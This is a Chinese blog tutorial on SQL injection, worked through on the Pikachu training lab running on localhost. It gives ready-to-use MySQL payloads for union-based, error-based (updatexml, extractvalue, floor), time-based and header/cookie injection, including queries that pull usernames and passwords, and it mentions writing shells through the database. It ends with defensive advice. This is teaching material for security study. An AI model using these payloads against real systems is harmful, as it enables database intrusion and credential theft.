• WebWall-05.SQL-Inject(SQL注入漏洞)


    SQL Inject漏洞原理概述

    数据库注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入 点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄露的一种漏洞。

    如何判断注入点类型以及常见的注入类型

    攻击流程

    第一步、注入点探测

    自动探测:使用web漏洞扫描工具,自动进行注入点发现

    手动方式:手动构造sql inject测试语句进行注入点发现

    第二步、信息获取

    通过注入点取期望得到的数据

    1. 环境信息:数据库类型,版本,操作系统版本,用户信息等
    2. 数据库信息:数据库名称,数据库表,表字段,字段内容(加密内容破解)
    第三步、获取权限

    获取操作系统权限:通过数据库执行shell,上传木马

    注入点类型

    数字型

    user_id=$id
    
    • 1

    在字符类型的时候可以之间输入单引号,会有报错弹出

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1 
    
    • 1

    字符型

    user_id='$id' 
    
    • 1

    搜索型

     text LIKE '%{$_GET['search']}%'" 
    
    • 1

    漏洞测试

    数字型注入(post)

    在这里插入图片描述

    查询的逻辑

    id=_POST['id']
    select 字段1,字段2 from 表名 where id = 1
    • 1
    • 2

    但是可以在id =1后面加上 or 1=1;整个语句

    select 字段1,字段2 from 表名 where id = 1 or 1 = 1
    • 1

    选择id = 1

    在这里插入图片描述

    如果后面加上or 1 = 1

    在这里插入图片描述

    就把这个表所有的信息都展示出来了

    字符型注入(get)

    查询的逻辑

    id=_POST['username']
    select 字段1,字段2 from 表名 where username = ''
    • 1
    • 2

    在这里如果是之前的输入

    kobe or 1=1不能够遍历整个表原因是因为 select 字段1,字段2 from 表名 where username = 'kobe or 1=1' ;所有1 = 1 不能生效,原因是被单引号进行 了封闭,我们可以闭合这个语句使用单引号闭合前面的内容,使用#把后面的单引号屏蔽 select 字段1,字段2 from 表名 where username = 'kobe' or 1=1#';

    得到结果

    在这里插入图片描述

    搜索型注入

    搜索的逻辑

    $name = $_GET['username'] 
    select * fromwhere username like '%name%';
    
    • 1
    • 2

    在这里输入的字符在%%之间,需要进行闭合,可以'%kobe%' or 1=1#' 输入kobe%' or 1=1#可以进行获取全部的数据

    在这里插入图片描述

    xx型注入

    xx型的逻辑

    $xx = $_GET['username'] 
    select * fromwhere username like = ('%xx%');
    
    • 1
    • 2

    在这里输入的字符在=(‘xx’)之间,需要进行闭合,可以=('kobe') or 1=1#' )输入kobe') or 1=1#' )可以进行获取全部 的数据

    在这里插入图片描述

    补充

    不管什么型都是对SQL的各种类型的输入进行闭合测试,构建合法SQL,欺骗后台执行!因为在SQL注入测试中, 需要对多余的内容进行注释,以保证SQL语句语法正确,MySQL支持3种注释

    • 从‘#’字符到行尾
    • – 这种注释后面要加一个空格
    • /* 语句*/ 支持多行语句注释 union 联合查询:可以通过联合查询来查询指定的数据

    用法举例:

    select username,password from user where id=1 unio select 字段1,字段2 from 表名 联合查询的字段数需 要和主查询一致
    
    • 1

    由于联合查询的字段数需要和主查询一致所以需要判断查询字段的个数,可以使用 order by 数字进行测试 如果by 后面的数字不正确数据库就会显示不正确 如果正确就会显示规定的报错
    在这里插入图片描述

    在这里插入图片描述

    通过union这个组合可以得到很多信息,比如数据库名,账户,数据库版本等 union select database(),user(),version()#

    kobe%' union select database(),user()#
    
    • 1

    在这里插入图片描述

    补充:在mysql 自带的information_schem这个表里面存放了大量的重要信息。

    information_schema数据库表说明

    SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。

    TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引 擎,创建时间等信息。是show tables from schemaname的结果取之此表。

    COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。

    STATISTICS表:提供了关于表索引的信息。是show index from schemaname.tablename的结果取之此表。

    USER_PRIVILEGES(用户权限)表:给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。

    SCHEMA_PRIVILEGES(方案权限)表:给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。是 非标准表。

    TABLE_PRIVILEGES(表权限)表:给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。是非标准 表。

    COLUMN_PRIVILEGES(列权限)表:给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是非标 准表。

    CHARACTER_SETS(字符集)表:提供了mysql实例可用字符集的信息。是SHOW CHARACTER SET结果集取之此 表。

    COLLATIONS表:提供了关于各字符集的对照信息。

    COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用于校对的字符集。这些列等效于SHOW COLLATION的前两个显示字段。

    TABLE_CONSTRAINTS表:描述了存在约束的表。以及表的约束类型。

    KEY_COLUMN_USAGE表:描述了具有约束的键列。

    ROUTINES表:提供了关于存储子程序(存储程序和函数)的信息。此时,ROUTINES表不包含自定义函数 (UDF)。名为“mysql.proc name”的列指明了对应于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。

    VIEWS表:给出了关于数据库中的视图的信息。需要有show views权限,否则无法查看视图信息。

    TRIGGERS表:提供了关于触发程序的信息。必须有super权限才能查看该表

    获取表名:

    kob' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#
    
    • 1

    获取字段名:

    kob' union select table_name,column_name from information_schema.columns where table_name='users'# 
    
    • 1

    获取账户密码:

    kod' union select username,password from users#
    
    • 1

    基于函数报错的信息获取

    常用的报错函数

    updatexml() :函数是MYSQL对XML文档数据进行查询和修改的XPATH函数

    kod' and updatexml(1,concat(0x7e,version()),0)# 
    
    • 1

    中间的version()也可以使用select函数

    比如获取密码

    kod' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0)# 
    
    • 1

    extractvalue():函数也是MYSQL对文档数据进行查询的XPATH函数 ExtractValue(xml_document,xpath_string)

    • 第一个参数:xml_document是String格式,为XML文档对象的名称,文中为Doc
    • 第二个参数:xpath_string(Xpath格式的字符串)

    Xpath定位必须是有效的,否则会发生错误

    kod' and extractValue(0,concat(0x7e,version()))# 
    
    • 1

    floor() :MYSQL中用来取整的函数

    kobe' and (select 2 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)#
    
    • 1

    insert/update注入

    insert和updata逻辑

    insert into member(username,pw,sex,phonenum,email,address) values('xxxxx',11111,1,2,3,4)
    
    • 1

    可以通过注入

    ka' or updatexml(1,concat(0x7e,version()),0) or'
    
    • 1

    在这里插入图片描述

    在这里插入图片描述

    得到需要的信息

    在这里插入图片描述

    delete注入

    窃取删除的数据包

    GET /pikachu/vul/sqli/sqli_del.php?id=71 HTTP/1.1
    Host: 127.0.0.1
    sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Windows"
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Referer: http://127.0.0.1/pikachu/vul/sqli/sqli_del.php
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: PHPSESSID=ectb03beu2qsgb9ja1rmfjil53
    Connection: close
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    GET /pikachu/vul/sqli/sqli_del.php?id=72 HTTP/1.1需要在id=72后面加上需要攻击的语句+or+updatexml(1,concat(0x7e,version()),0)

    在这里插入图片描述

    http header注入

    有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)或者通过http header 头信息获取客户 端的一些信息,比如useragent、accept字段,如果没有针对SQL语句进行处理,就容易尝试SQL漏洞

    在这里插入图片描述

    在请求的时候

    GET /pikachu/vul/sqli/sqli_header/sqli_header.php HTTP/1.1
    Host: 127.0.0.1
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Windows"
    Referer: http://127.0.0.1/pikachu/vul/sqli/sqli_header/sqli_header_login.php
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=ectb03beu2qsgb9ja1rmfjil53
    Connection: close
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    把User-Agent的部分修改为注入的地方

    User-Agent: ka' or updatexml(1,concat(0x7e,version()),0) or '
    
    • 1

    在这里插入图片描述

    在cookie的地方也可以进行注入

    Cookie: ant[uname]=admin' and updatexml(1,concat(0x7e,version()),0)#; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; 
    
    • 1

    在这里插入图片描述

    盲注(base on boolian)

    有些时候,后台使用了错误的消息屏蔽方法,这个时候无法通过错误消息来判断报错信息来进行注入的判断,所以 根据表现形式不同,盲注有可以使用based boolean和based time两种方式

    boolean的表现形式

    0.没有报错信息

    1.不管是正确的输入,还是错误的输入,都只显示两种情况(只有0和1)

    2.在正确的输入下,输入and 1=1/and 1=2发现可以判断

    通过自动化工具,进行测试获取不同的

    盲注(base on time)

    通过判断后台处理的时间进行判断

    通过 kai’ and sleep(5) # 如果数据时间比较5s的话就是存在漏洞 kai' and if((substr(database(),1,1))='a',sleep(5),null)#

    通过SQL Inject漏洞写入恶意代码

    前提条件:

    1. 需要知道远程目录
    2. 需要远程目录有写权限
    3. 需要数据库开启了secure_file_priv

    获取操作系统权限:

    在这里插入图片描述

    暴力破解表名

    kode‘ and exists(select * from aa )# 
    kode‘ and exists(select id from users )# 
    
    • 1
    • 2

    宽字节注入

    宽字节注入是因为数据库使用了GBK编码,不过现在大都使用unicode国际编码,大多数网站都使用了utf-8的编码

    1%df' or 1=1#

    使用sqlmap

    https://blog.csdn.net/bylfsj/article/details/101218344

    防范措施

    代码层面

    1. 对输入进行严格的转义和过滤 在mysql中有mysql_real_escape_string()进行转义
    2. 使用预处理和参数化

    网络层面

    1. 通过WAF设备启用SQL Inject注入策略
    2. 云端防护
  • 相关阅读:
    unity PostProcess 屏幕后处理
    C++类模板中如何调用其基类模板中的函数
    C语言中,如何判断两个数组是否包含相同元素?
    vue-za-swiper 技术方案
    Referer和Referrer Policy及图片防盗链
    C# 调用Python
    (第三百篇BLOG记录)写于博士毕业与入职之初-20230924
    【QT基础入门】QT中的容器类:QList
    DeepFace【部署 01】轻量级人脸识别和面部属性分析框架安装使用详解(网盘分享模型文件)
    Markdown使用方法
  • 原文地址:https://blog.csdn.net/a13554371686/article/details/126542832